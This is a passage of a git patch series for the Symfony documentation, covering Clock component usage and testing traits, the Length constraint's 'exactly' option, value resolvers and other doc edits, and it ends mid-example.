         - '#. The most important config file is ``app/config/services.yml``, which now is'
-        - 'code in production without a proxy, it becomes trivially easy to abuse your'
-        - '.. _`EasyDeployBundle`: https://github.com/EasyCorp/easy-deploy-bundle'
         - 'The bin/console Command'
         - '.. _`LDAP injection`: http://projects.webappsec.org/w/page/13246947/LDAP%20Injection'
         - '.. versionadded:: 1.9.0' # Encore
-        - '.. versionadded:: 0.28.4' # Encore
         - '.. versionadded:: 1.11' # Messenger (Middleware / DoctrineBundle)
         - '.. versionadded:: 1.18' # Flex in setup/upgrade_minor.rst
         - '.. versionadded:: 1.0.0' # Encore
@@ -93,12 +90,10 @@ whitelist:
         - '123,' # assertion for var_dumper - components/var_dumper.rst
         - '"foo",' # assertion for var_dumper - components/var_dumper.rst
         - '$var .= "Because of this `\xE9` octet (\\xE9),\n";'
-        - "//                  224, 165, 141, 224, 164, 164, 224, 165, 135])"
         - '.. versionadded:: 0.2' # MercureBundle
         - 'provides a ``loginUser()`` method to simulate logging in in your functional'
         - '.. code-block:: twig'
         - '.. versionadded:: 3.6' # MonologBundle
         - '// bin/console'
-        - 'End to End Tests (E2E)'
         - '.. _`a feature to test applications using Mercure`: https://github.com/symfony/panther#creating-isolated-browsers-to-test-apps-using-mercure-or-websocket'
         - '..  End to End Tests (E2E)'

From e84e3e8c6658185d778c7fe9b2098b2d485a4e10 Mon Sep 17 00:00:00 2001
From: Henrik Christensen <sensen1695@hotmail.com>
Date: Tue, 17 Jan 2023 16:03:38 +0100
Subject: [PATCH 2789/5766] add note about ->toStream()

---
 http_client.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/http_client.rst b/http_client.rst
index 30c19eba07d..23cc928ac2a 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -1013,6 +1013,10 @@ following methods::
     // returns detailed logs about the requests and responses of the HTTP transaction
     $httpLogs = $response->getInfo('debug');
 
+.. note::
+
+    ``$response->toStream()`` is part of :class:`Symfony\\Component\\HttpClient\\Response\\StreamableInterface`.
+
 .. note::
 
     ``$response->getInfo()`` is non-blocking: it returns *live* information

From 99ac309f7000020c6c84d3d1082bb74ab47591a6 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 17 Jan 2023 21:22:58 +0100
Subject: [PATCH 2790/5766] [Validator] Mention `exactly` option for Length
 constraint

---
 reference/constraints/Length.rst | 19 +++++++++++++++++++
 1 file changed, 19 insertions(+)

diff --git a/reference/constraints/Length.rst b/reference/constraints/Length.rst
index 7baed971032..afe9f0c3c2a 100644
--- a/reference/constraints/Length.rst
+++ b/reference/constraints/Length.rst
@@ -163,6 +163,25 @@ Parameter          Description
 ``{{ value }}``    The current (invalid) value
 =================  ============================================================
 
+exactly
+~~~~~~~
+
+**type**: ``integer``
+
+This option is the exact length value. Validation will fail if
+the given value's length is not **exactly** equal to this value.
+
+.. note::
+
+    This option is the one being set by default when using the Length constraint
+    without passing any named argument to it. This means that for example,
+    ``@Assert\Length(20)`` and ``@Assert\Length(exactly=20)`` are equivalent, as
+    well as ``#[Assert\Length(20)]`` and ``#[Assert\Length(exactly: 20)]``.
+
+.. versionadded::
+
+    The named argument ``exactly`` was introduced in Symfony 5.2.
+
 exactMessage
 ~~~~~~~~~~~~
 

From fd74bd679368e41d287e4fdd0afc904984569903 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 18 Jan 2023 08:58:37 +0100
Subject: [PATCH 2791/5766] Add missing version in versionadded

---
 reference/constraints/Length.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/constraints/Length.rst b/reference/constraints/Length.rst
index afe9f0c3c2a..26e93359729 100644
--- a/reference/constraints/Length.rst
+++ b/reference/constraints/Length.rst
@@ -178,7 +178,7 @@ the given value's length is not **exactly** equal to this value.
     ``@Assert\Length(20)`` and ``@Assert\Length(exactly=20)`` are equivalent, as
     well as ``#[Assert\Length(20)]`` and ``#[Assert\Length(exactly: 20)]``.
 
-.. versionadded::
+.. versionadded:: 5.2
 
     The named argument ``exactly`` was introduced in Symfony 5.2.
 

From 191be804fc5a86df74987a1856aebbe733e34a80 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Mon, 16 Jan 2023 19:28:59 +0100
Subject: [PATCH 2792/5766] [Clock] Add ClockAwareTrait to help write
 time-sensitive classes

---
 components/clock.rst | 43 +++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 43 insertions(+)

diff --git a/components/clock.rst b/components/clock.rst
index 1cd9757d69d..d8fdf271487 100644
--- a/components/clock.rst
+++ b/components/clock.rst
@@ -104,3 +104,46 @@ the system up to nanosecond precision. It can be used to measure the elapsed
 time between two calls without being affected by inconsistencies sometimes introduced
 by the system clock, e.g. by updating it. Instead, it consistently increases time,
 making it especially useful for measuring performance.
+
+Using a Clock inside a Service
+------------------------------
+
+If your application uses :ref:`service autoconfiguration <services-autoconfigure>`,
+any service whose class uses the :class:`Symfony\\Component\\Clock\\ClockAwareTrait` will
+benefit of a ``ClockInterface`` typed-property ``$clock`` with the default implementation
+passed as a service. Services using this trait will also benefit of a ``now()`` method.
+
+By using this trait in your services to retrieve the current time, it will be easier to
+write time-sensitive classes. For example, by using the ``MockClock`` implementation as the
+default one during tests, you will have full control of the "current time".
+
+This is also true for the other clock implementations, as you will be assured to always use
+the same clock implementation across your code each time you need it::
+
+    namespace App\TimeUtils;
+
+    use Symfony\Component\Clock\ClockAwareTrait;
+
+    class MonthSensitive
+    {
+        use ClockAwareTrait;
+
+        public function isWinterMonth(): bool
+        {
+            $now = $this->now();
+
+            return match ($now->format('F')) {
+                'December', 'January', 'February', 'March' => true,
+                default => false,
+            };
+        }
+    }
+
+Thanks to the ``ClockAwareTrait`` and by using the ``MockClock`` implementation,
+you will be able to test different times returned by ``now()``. This allows you
+to test every case of your method without the need of actually being in a month
+or another.
+
+.. versionadded:: 6.3
+
+    The :class:`Symfony\\Component\\Clock\\ClockAwareTrait` was introduced in Symfony 6.3.

From d417467eed691bf1baa3d65aecf46f73dacc9974 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Wed, 18 Jan 2023 09:17:56 +0100
Subject: [PATCH 2793/5766] [Validator] Remove superfluous `versionadded`

---
 reference/constraints/Length.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/reference/constraints/Length.rst b/reference/constraints/Length.rst
index 3cdd0e11910..16d43f5741b 100644
--- a/reference/constraints/Length.rst
+++ b/reference/constraints/Length.rst
@@ -138,10 +138,6 @@ the given value's length is not **exactly** equal to this value.
     ``@Assert\Length(20)`` and ``@Assert\Length(exactly=20)`` are equivalent, as
     well as ``#[Assert\Length(20)]`` and ``#[Assert\Length(exactly: 20)]``.
 
-.. versionadded:: 5.2
-
-    The named argument ``exactly`` was introduced in Symfony 5.2.
-
 exactMessage
 ~~~~~~~~~~~~
 

From c3962376a49904f4c5dad6dbb60572ce13d268bf Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Wed, 18 Jan 2023 13:53:09 +0100
Subject: [PATCH 2794/5766] [Contributing] Mention `php-symfony` and
 `php-standalone` markup formats

---
 contributing/documentation/format.rst | 22 +++++++++++++++++++---
 1 file changed, 19 insertions(+), 3 deletions(-)

diff --git a/contributing/documentation/format.rst b/contributing/documentation/format.rst
index 83a18f1aaba..3bd2d28f742 100644
--- a/contributing/documentation/format.rst
+++ b/contributing/documentation/format.rst
@@ -90,11 +90,25 @@ The previous reStructuredText snippet renders as follow:
 
         // Configuration in PHP
 
+It may be relevant in some cases to write code examples when using the whole Symfony framework, but also
+when using components as standalone libraries without the whole framework installed. In this case, you
+may use special formats ``php-symfony`` and ``php-standalone``, which will be rendered like this:
+
+.. configuration-block::
+
+    .. code-block:: php-symfony
+
+        // PHP code using features provided by the Symfony framework
+
+    .. code-block:: php-standalone
+
+        // PHP code using standalone components
+
 The current list of supported formats are the following:
 
-===================  ======================================
+===================  ==========================================================================================
 Markup Format        Use It to Display
-===================  ======================================
+===================  ==========================================================================================
 ``html``             HTML
 ``xml``              XML
 ``php``              PHP
@@ -105,7 +119,9 @@ Markup Format        Use It to Display
 ``ini``              INI
 ``php-annotations``  PHP Annotations
 ``php-attributes``   PHP Attributes
-===================  ======================================
+``php-symfony``      PHP code example when using the Symfony framework
+``php-standalone``   PHP code to be used in a standalone context, for example when using standalone components
+===================  ==========================================================================================
 
 Adding Links
 ~~~~~~~~~~~~

From bbaf5b003b68c87de39cd24ebe61bdffc57d1fd8 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 18 Jan 2023 15:50:47 +0100
Subject: [PATCH 2795/5766] Reword

---
 components/clock.rst | 26 +++++++++++++-------------
 1 file changed, 13 insertions(+), 13 deletions(-)

diff --git a/components/clock.rst b/components/clock.rst
index d8fdf271487..608b1fbcec8 100644
--- a/components/clock.rst
+++ b/components/clock.rst
@@ -108,17 +108,17 @@ making it especially useful for measuring performance.
 Using a Clock inside a Service
 ------------------------------
 
-If your application uses :ref:`service autoconfiguration <services-autoconfigure>`,
-any service whose class uses the :class:`Symfony\\Component\\Clock\\ClockAwareTrait` will
-benefit of a ``ClockInterface`` typed-property ``$clock`` with the default implementation
-passed as a service. Services using this trait will also benefit of a ``now()`` method.
+Using the Clock component in your services to retrieve the current time makes
+them easier to test. For example, by using the ``MockClock`` implementation as
+the default one during tests, you will have full control to set the "current time"
+to any arbitrary date/time.
 
-By using this trait in your services to retrieve the current time, it will be easier to
-write time-sensitive classes. For example, by using the ``MockClock`` implementation as the
-default one during tests, you will have full control of the "current time".
+In order to use this component in your services, make their classes use the
+:class:`Symfony\\Component\\Clock\\ClockAwareTrait` and add a ``ClockInterface``
+typed-property ``$clock`` to their constructors.
 
-This is also true for the other clock implementations, as you will be assured to always use
-the same clock implementation across your code each time you need it::
+If your application uses :ref:`service autoconfiguration <services-autoconfigure>`,
+your services can now call the ``$this->now()`` method to get the current time::
 
     namespace App\TimeUtils;
 
@@ -139,10 +139,10 @@ the same clock implementation across your code each time you need it::
         }
     }
 
-Thanks to the ``ClockAwareTrait`` and by using the ``MockClock`` implementation,
-you will be able to test different times returned by ``now()``. This allows you
-to test every case of your method without the need of actually being in a month
-or another.
+Thanks to the ``ClockAwareTrait``, and by using the ``MockClock`` implementation,
+you can set the current time arbitrarily without having to change your service code.
+This will help you test every case of your method without the need of actually
+being in a month or another.
 
 .. versionadded:: 6.3
 

From 9987eddbb02728bbea0523d0704f7d5f0d937d0e Mon Sep 17 00:00:00 2001
From: Fabien Salathe <fabacrans@gmail.com>
Date: Wed, 18 Jan 2023 18:14:09 +0100
Subject: [PATCH 2796/5766] [HttpKernel] Remove old caution from Symony <4

---
 components/http_kernel.rst | 7 -------
 1 file changed, 7 deletions(-)

diff --git a/components/http_kernel.rst b/components/http_kernel.rst
index 5108f1db35b..3cc8059f5e6 100644
--- a/components/http_kernel.rst
+++ b/components/http_kernel.rst
@@ -136,13 +136,6 @@ See ":ref:`http-kernel-working-example`" for a more concrete implementation.
 For general information on adding listeners to the events below, see
 :ref:`http-kernel-creating-listener`.
 
-.. caution::
-
-    As of 3.1 the :class:`Symfony\\Component\\HttpKernel\\HttpKernel` accepts a
-    fourth argument, which must be an instance of
-    :class:`Symfony\\Component\\HttpKernel\\Controller\\ArgumentResolverInterface`.
-    In 4.0 this argument will become mandatory.
-
 .. seealso::
 
     There is a wonderful tutorial series on using the HttpKernel component and

From 13d15fad9d186f227be1847f501b04fc00e83104 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Wed, 18 Jan 2023 18:24:32 +0100
Subject: [PATCH 2797/5766] [Validator] Remove annotations from `exactly`
 option of Length constraint

---
 reference/constraints/Length.rst | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

diff --git a/reference/constraints/Length.rst b/reference/constraints/Length.rst
index 16d43f5741b..3f69c93b2ef 100644
--- a/reference/constraints/Length.rst
+++ b/reference/constraints/Length.rst
@@ -135,8 +135,7 @@ the given value's length is not **exactly** equal to this value.
 
     This option is the one being set by default when using the Length constraint
     without passing any named argument to it. This means that for example,
-    ``@Assert\Length(20)`` and ``@Assert\Length(exactly=20)`` are equivalent, as
-    well as ``#[Assert\Length(20)]`` and ``#[Assert\Length(exactly: 20)]``.
+    ``#[Assert\Length(20)]`` and ``#[Assert\Length(exactly: 20)]`` are equivalent.
 
 exactMessage
 ~~~~~~~~~~~~

From 87a2dc27f1f18d6e90cf55471137f7cc96783271 Mon Sep 17 00:00:00 2001
From: Kevin Bond <kevinbond@gmail.com>
Date: Wed, 18 Jan 2023 14:16:51 -0500
Subject: [PATCH 2798/5766] [Translation] fix wrong information

---
 translation.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/translation.rst b/translation.rst
index 9e7d25d21c2..db8c4c37677 100644
--- a/translation.rst
+++ b/translation.rst
@@ -853,7 +853,8 @@ of:
 
 * All the services that are tagged with ``kernel.locale_aware``;
 * ``\Locale::setDefault()``;
-* If a request is available, the ``_locale`` request attribute::
+* If the ``RequestContext`` service is available, the ``_locale``
+  parameter (so urls are generated with the new locale)::
 
     use Symfony\Component\Translation\LocaleSwitcher;
 

From d4f305dcb93fef9a9a069fd01276c9832cbe4dc4 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Wed, 18 Jan 2023 18:49:53 +0100
Subject: [PATCH 2799/5766] [Clock] Fix `ClockAwareTrait` usage

---
 components/clock.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/components/clock.rst b/components/clock.rst
index 608b1fbcec8..22768894cc9 100644
--- a/components/clock.rst
+++ b/components/clock.rst
@@ -114,11 +114,11 @@ the default one during tests, you will have full control to set the "current tim
 to any arbitrary date/time.
 
 In order to use this component in your services, make their classes use the
-:class:`Symfony\\Component\\Clock\\ClockAwareTrait` and add a ``ClockInterface``
-typed-property ``$clock`` to their constructors.
+:class:`Symfony\\Component\\Clock\\ClockAwareTrait`. Thanks to
+:ref:`service autoconfiguration <services-autoconfigure>`, the ``setClock()`` method
+of the trait will automatically be called by the service container.
 
-If your application uses :ref:`service autoconfiguration <services-autoconfigure>`,
-your services can now call the ``$this->now()`` method to get the current time::
+You can now call the ``$this->now()`` method to get the current time::
 
     namespace App\TimeUtils;
 

From cb6da5426b1e4dbf77ab6dc5978a3e4320c2331e Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 19 Jan 2023 11:31:43 +0100
Subject: [PATCH 2800/5766] Tweaks

---
 contributing/documentation/format.rst | 15 ++++++++-------
 1 file changed, 8 insertions(+), 7 deletions(-)

diff --git a/contributing/documentation/format.rst b/contributing/documentation/format.rst
index 3bd2d28f742..f6492ec4277 100644
--- a/contributing/documentation/format.rst
+++ b/contributing/documentation/format.rst
@@ -90,9 +90,10 @@ The previous reStructuredText snippet renders as follow:
 
         // Configuration in PHP
 
-It may be relevant in some cases to write code examples when using the whole Symfony framework, but also
-when using components as standalone libraries without the whole framework installed. In this case, you
-may use special formats ``php-symfony`` and ``php-standalone``, which will be rendered like this:
+All code examples assume that you are using that feature inside a Symfony
+application. If you ever need to also show how to use it when working with
+standalone components in any PHP application, use the special formats
+``php-symfony`` and ``php-standalone``, which will be rendered like this:
 
 .. configuration-block::
 
@@ -106,9 +107,9 @@ may use special formats ``php-symfony`` and ``php-standalone``, which will be re
 
 The current list of supported formats are the following:
 
-===================  ==========================================================================================
+===================  ==============================================================================
 Markup Format        Use It to Display
-===================  ==========================================================================================
+===================  ==============================================================================
 ``html``             HTML
 ``xml``              XML
 ``php``              PHP
@@ -120,8 +121,8 @@ Markup Format        Use It to Display
 ``php-annotations``  PHP Annotations
 ``php-attributes``   PHP Attributes
 ``php-symfony``      PHP code example when using the Symfony framework
-``php-standalone``   PHP code to be used in a standalone context, for example when using standalone components
-===================  ==========================================================================================
+``php-standalone``   PHP code to be used in any PHP application using standalone Symfony components
+===================  ==============================================================================
 
 Adding Links
 ~~~~~~~~~~~~

From d5860b1ea86b2b8d84078f879445afba6e86a697 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Mon, 16 Jan 2023 19:49:34 +0100
Subject: [PATCH 2801/5766] [Clock] Add ClockSensitiveTrait to help write
 time-sensitive tests

---
 components/clock.rst | 58 ++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 58 insertions(+)

diff --git a/components/clock.rst b/components/clock.rst
index 608b1fbcec8..cc3302231c5 100644
--- a/components/clock.rst
+++ b/components/clock.rst
@@ -147,3 +147,61 @@ being in a month or another.
 .. versionadded:: 6.3
 
     The :class:`Symfony\\Component\\Clock\\ClockAwareTrait` was introduced in Symfony 6.3.
+
+Writing Time-Sensitive Tests
+----------------------------
+
+The Clock component provides another trait, this one easing you the writing of time-sensitive
+tests: the :class:`Symfony\\Component\\Clock\\Test\\ClockSensitiveTrait`. The purpose
+of this trait is to provide methods to freeze time and restore the global clock after
+each test.
+
+To interact with the mocked clock in your tests, you will have to use the ``ClockSensitiveTrait::mockTime()``
+method. This method accepts many types as its only argument:
+
+* A string, which can be a date or an interval. Examples: ``1996-07-01`` or ``+2 days``
+* A ``DateTimeImmutable`` to set the clock at
+* A boolean, to freeze or restore the global clock
+
+Let's say you want to test the method ``MonthSensitive::isWinterMonth()`` of the above example.
+An approach of the test class could be written this way::
+
+    namespace App\Tests\TimeUtils;
+
+    use App\TimeUtils\MonthSensitive;
+    use PHPUnit\Framework\TestCase;
+    use Symfony\Component\Clock\Test\ClockSensitiveTrait;
+
+    class MonthSensitiveTest extends TestCase
+    {
+        use ClockSensitiveTrait;
+
+        public function testIsWinterMonth(): void
+        {
+            $clock = static::mockTime(new \DateTimeImmutable('2022-03-02'));
+
+            $monthSensitive = new MonthSensitive();
+            $monthSensitive->setClock($clock);
+
+            $this->assertTrue($monthSensitive->isWinterMonth());
+        }
+
+        public function testIsNotWinterMonth(): void
+        {
+            $clock = static::mockTime(new \DateTimeImmutable('2023-06-02'));
+
+            $monthSensitive = new MonthSensitive();
+            $monthSensitive->setClock($clock);
+
+            $this->assertFalse($monthSensitive->isWinterMonth());
+        }
+    }
+
+It doesn't matter which time of the year you are running this test, it will always behave
+the same way. By combining the :class:`Symfony\\Component\\Clock\\ClockAwareTrait` and
+:class:`Symfony\\Component\\Clock\\Test\\ClockSensitiveTrait`, you have full control on
+your time-sensitive code's behavior.
+
+.. versionadded:: 6.3
+
+    The :class:`Symfony\\Component\\Clock\\Test\\ClockSensitiveTrait` was introduced in Symfony 6.3.

From 3f8c53e82ab77fa396106ee31b3604e28a6b8f61 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Thu, 19 Jan 2023 21:34:54 +0100
Subject: [PATCH 2802/5766] [Controller] Mention the use of the Clock component
 in `DateTimeValueResolver`

---
 controller/value_resolver.rst | 12 ++++++++++++
 1 file changed, 12 insertions(+)

diff --git a/controller/value_resolver.rst b/controller/value_resolver.rst
index 6ceeee77084..578b2738d56 100644
--- a/controller/value_resolver.rst
+++ b/controller/value_resolver.rst
@@ -94,10 +94,22 @@ Symfony ships with the following value resolvers in the
     You can restrict how the input can be formatted with the
     :class:`Symfony\\Component\\HttpKernel\\Attribute\\MapDateTime` attribute.
 
+    .. tip::
+
+        The ``DateTimeInterface`` object is generated with the :doc:`Clock component </components/clock>`,
+        which means you can have full control over the date and time values the controller receives when
+        testing your application. This can be achieved by using the
+        :class:`Symfony\\Component\\Clock\\MockClock` implementation in your test environment.
+
     .. versionadded:: 6.1
 
         The ``DateTimeValueResolver`` was introduced in Symfony 6.1.
 
+    .. versionadded:: 6.3
+
+        The use of the :doc:`Clock component </components/clock>` to generate the
+        ``DateTimeInterface`` object was introduced in Symfony 6.3.
+
 :class:`Symfony\\Component\\HttpKernel\\Controller\\ArgumentResolver\\RequestValueResolver`
     Injects the current ``Request`` if type-hinted with ``Request`` or a class
     extending ``Request``.

From 0220d417585fd258bc85bd29f2919b51803fa6e9 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 20 Jan 2023 10:48:17 +0100
Subject: [PATCH 2803/5766] Minor reword

---
 components/clock.rst | 30 +++++++++++++++---------------
 1 file changed, 15 insertions(+), 15 deletions(-)

diff --git a/components/clock.rst b/components/clock.rst
index 0974356fa8e..9b3274bb457 100644
--- a/components/clock.rst
+++ b/components/clock.rst
@@ -151,20 +151,20 @@ being in a month or another.
 Writing Time-Sensitive Tests
 ----------------------------
 
-The Clock component provides another trait, this one easing you the writing of time-sensitive
-tests: the :class:`Symfony\\Component\\Clock\\Test\\ClockSensitiveTrait`. The purpose
-of this trait is to provide methods to freeze time and restore the global clock after
-each test.
+The Clock component provides another trait, called :class:`Symfony\\Component\\Clock\\Test\\ClockSensitiveTrait`,
+to help you write time-sensitive tests. This trait provides methods to freeze
+time and restore the global clock after each test.
 
-To interact with the mocked clock in your tests, you will have to use the ``ClockSensitiveTrait::mockTime()``
-method. This method accepts many types as its only argument:
+Use the ``ClockSensitiveTrait::mockTime()`` method to interact with the mocked
+clock in your tests. This method accepts different types as its only argument:
 
-* A string, which can be a date or an interval. Examples: ``1996-07-01`` or ``+2 days``
-* A ``DateTimeImmutable`` to set the clock at
-* A boolean, to freeze or restore the global clock
+* A string, which can be a date to set the clock at (e.g. ``1996-07-01``) or an
+  interval to modify the clock (e.g. ``+2 days``);
+* A ``DateTimeImmutable`` to set the clock at;
+* A boolean, to freeze or restore the global clock.
 
-Let's say you want to test the method ``MonthSensitive::isWinterMonth()`` of the above example.
-An approach of the test class could be written this way::
+Let's say you want to test the method ``MonthSensitive::isWinterMonth()`` of the
+above example. This is how you can write that test::
 
     namespace App\Tests\TimeUtils;
 
@@ -197,10 +197,10 @@ An approach of the test class could be written this way::
         }
     }
 
-It doesn't matter which time of the year you are running this test, it will always behave
-the same way. By combining the :class:`Symfony\\Component\\Clock\\ClockAwareTrait` and
-:class:`Symfony\\Component\\Clock\\Test\\ClockSensitiveTrait`, you have full control on
-your time-sensitive code's behavior.
+This test will behave the same no matter which time of the year you run it.
+By combining the :class:`Symfony\\Component\\Clock\\ClockAwareTrait` and
+:class:`Symfony\\Component\\Clock\\Test\\ClockSensitiveTrait`, you have full
+control on your time-sensitive code's behavior.
 
 .. versionadded:: 6.3
 

From 20d0834da82fcac0aeb36c3385468f8460043650 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Thu, 19 Jan 2023 21:15:51 +0100
Subject: [PATCH 2804/5766] [Clock] Add `Clock` class and `now()` function
 documentation

---
 components/clock.rst | 60 +++++++++++++++++++++++++++++++++++++++++---
 1 file changed, 57 insertions(+), 3 deletions(-)

diff --git a/components/clock.rst b/components/clock.rst
index 9b3274bb457..0ca1200b2c8 100644
--- a/components/clock.rst
+++ b/components/clock.rst
@@ -34,8 +34,58 @@ Installation
 
 .. include:: /components/require_autoload.rst.inc
 
+Usage
+-----
+
+The :class:`Symfony\\Component\\Clock\\Clock` class returns the current time and
+allows to use any implementation of the interface described by `PSR-20`_ as a global
+clock in your application::
+
+    use Symfony\Component\Clock\Clock;
+    use Symfony\Component\Clock\MockClock;
+
+    // You can set a custom clock implementation, or use the NativeClock default one
+    Clock::set(new MockClock());
+
+    // Then, you can get the clock instance
+    $clock = Clock::get();
+
+    // Additionally, you can set a timezone
+    $clock->withTimeZone('Europe/Paris');
+
+    // From here, you are able to get the current time
+    $now = $clock->now();
+
+    // And also to sleep for an amount of time
+    $clock->sleep(2.5);
+
+The Clock component also provides the ``now()`` function::
+
+    use function Symfony\Component\Clock\now;
+
+    // Get the current time as a DateTimeImmutable instance
+    $now = now();
+
+.. tip::
+
+    If you want to use the Clock component in your services, you may
+    have a look at the section about
+    :ref:`using a clock inside your services <clock_use-inside-a-service>`.
+
+.. versionadded:: 6.3
+
+    The :class:`Symfony\\Component\\Clock\\Clock` class and ``now()`` function
+    were introduced in Symfony 6.3.
+
+Available Clocks Implementations
+--------------------------------
+
+The Clock component provides many ready-to-use implementations of the
+:class:`Symfony\\Component\\Clock\\ClockInterface`, which you can use
+as global clocks in your application depending on your needs.
+
 NativeClock
------------
+~~~~~~~~~~~
 
 A clock service replaces creating a new ``DateTime`` or
 ``DateTimeImmutable`` object for the current time. Instead, you inject the
@@ -60,7 +110,7 @@ determine the current time::
     }
 
 MockClock
----------
+~~~~~~~~~
 
 The ``MockClock`` is instantiated with a time and does not move forward on its own. The time is
 fixed until ``sleep()`` or ``modify()`` are called. This gives you full control over what your code
@@ -97,7 +147,7 @@ is expired or not, by modifying the clock's time::
     }
 
 Monotonic Clock
----------------
+~~~~~~~~~~~~~~~
 
 The ``MonotonicClock`` allows you to implement a precise stopwatch; depending on
 the system up to nanosecond precision. It can be used to measure the elapsed
@@ -105,6 +155,8 @@ time between two calls without being affected by inconsistencies sometimes intro
 by the system clock, e.g. by updating it. Instead, it consistently increases time,
 making it especially useful for measuring performance.
 
+.. _clock_use-inside-a-service:
+
 Using a Clock inside a Service
 ------------------------------
 
@@ -205,3 +257,5 @@ control on your time-sensitive code's behavior.
 .. versionadded:: 6.3
 
     The :class:`Symfony\\Component\\Clock\\Test\\ClockSensitiveTrait` was introduced in Symfony 6.3.
+
+.. _`PSR-20`: https://www.php-fig.org/psr/psr-20/

From 674f5a46223f467145d851a2a2d161977f050d85 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 20 Jan 2023 13:50:40 +0100
Subject: [PATCH 2805/5766] Tweaks

---
 components/clock.rst | 19 ++++++++-----------
 1 file changed, 8 insertions(+), 11 deletions(-)

diff --git a/components/clock.rst b/components/clock.rst
index 0ca1200b2c8..e4a5b7deb96 100644
--- a/components/clock.rst
+++ b/components/clock.rst
@@ -38,13 +38,14 @@ Usage
 -----
 
 The :class:`Symfony\\Component\\Clock\\Clock` class returns the current time and
-allows to use any implementation of the interface described by `PSR-20`_ as a global
-clock in your application::
+allows to use any `PSR-20`_ compatible implementation as a global clock in your
+application::
 
     use Symfony\Component\Clock\Clock;
     use Symfony\Component\Clock\MockClock;
 
-    // You can set a custom clock implementation, or use the NativeClock default one
+    // by default, Clock uses the NativeClock implementation, but you can change
+    // this by setting any other implementation
     Clock::set(new MockClock());
 
     // Then, you can get the clock instance
@@ -53,10 +54,10 @@ clock in your application::
     // Additionally, you can set a timezone
     $clock->withTimeZone('Europe/Paris');
 
-    // From here, you are able to get the current time
+    // From here, you can get the current time
     $now = $clock->now();
 
-    // And also to sleep for an amount of time
+    // And sleep for any number of seconds
     $clock->sleep(2.5);
 
 The Clock component also provides the ``now()`` function::
@@ -66,11 +67,7 @@ The Clock component also provides the ``now()`` function::
     // Get the current time as a DateTimeImmutable instance
     $now = now();
 
-.. tip::
-
-    If you want to use the Clock component in your services, you may
-    have a look at the section about
-    :ref:`using a clock inside your services <clock_use-inside-a-service>`.
+Later on this page you can learn how to use this clock in your services and tests.
 
 .. versionadded:: 6.3
 
@@ -80,7 +77,7 @@ The Clock component also provides the ``now()`` function::
 Available Clocks Implementations
 --------------------------------
 
-The Clock component provides many ready-to-use implementations of the
+The Clock component provides some ready-to-use implementations of the
 :class:`Symfony\\Component\\Clock\\ClockInterface`, which you can use
 as global clocks in your application depending on your needs.
 

From 53db051165491cb222177d6562b0448e4090474f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 20 Jan 2023 16:41:43 +0100
Subject: [PATCH 2806/5766] Minor tweak

---
 controller/value_resolver.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/controller/value_resolver.rst b/controller/value_resolver.rst
index 578b2738d56..e6da01ea77f 100644
--- a/controller/value_resolver.rst
+++ b/controller/value_resolver.rst
@@ -96,10 +96,10 @@ Symfony ships with the following value resolvers in the
 
     .. tip::
 
-        The ``DateTimeInterface`` object is generated with the :doc:`Clock component </components/clock>`,
-        which means you can have full control over the date and time values the controller receives when
-        testing your application. This can be achieved by using the
-        :class:`Symfony\\Component\\Clock\\MockClock` implementation in your test environment.
+        The ``DateTimeInterface`` object is generated with the :doc:`Clock component </components/clock>`.
+        This. gives your full control over the date and time values the controller
+        receives when testing your application and using the
+        :class:`Symfony\\Component\\Clock\\MockClock` implementation.
 
     .. versionadded:: 6.1
 

From b408ab836dde32422e2a9fcd19ff53ae0896fb0d Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Sat, 21 Jan 2023 17:39:35 +0100
Subject: [PATCH 2807/5766] [LazyServices] Add `#[Autoconfigure]` attribute
 mention

---
 service_container/lazy_services.rst | 43 +++++++++++++++++++++++++++++
 1 file changed, 43 insertions(+)

diff --git a/service_container/lazy_services.rst b/service_container/lazy_services.rst
index 7b0bd0442c5..28c11f60fa4 100644
--- a/service_container/lazy_services.rst
+++ b/service_container/lazy_services.rst
@@ -41,6 +41,8 @@ In order to use the lazy service instantiation, you will need to install the
 
     $ composer require symfony/proxy-manager-bridge
 
+.. _lazy-services_configuration:
+
 Configuration
 -------------
 
@@ -101,6 +103,26 @@ To check if your proxy works you can check the interface of the received object:
     over the ``lazy`` flag and directly instantiate the service as it would
     normally do.
 
+You can also configure your service's laziness thanks to the
+:class:`Symfony\\Component\\DependencyInjection\\Attribute\\Autoconfigure` attribute.
+The attribute has to be used like this::
+
+    namespace App\Twig;
+
+    use Symfony\Component\DependencyInjection\Attribute\Autoconfigure;
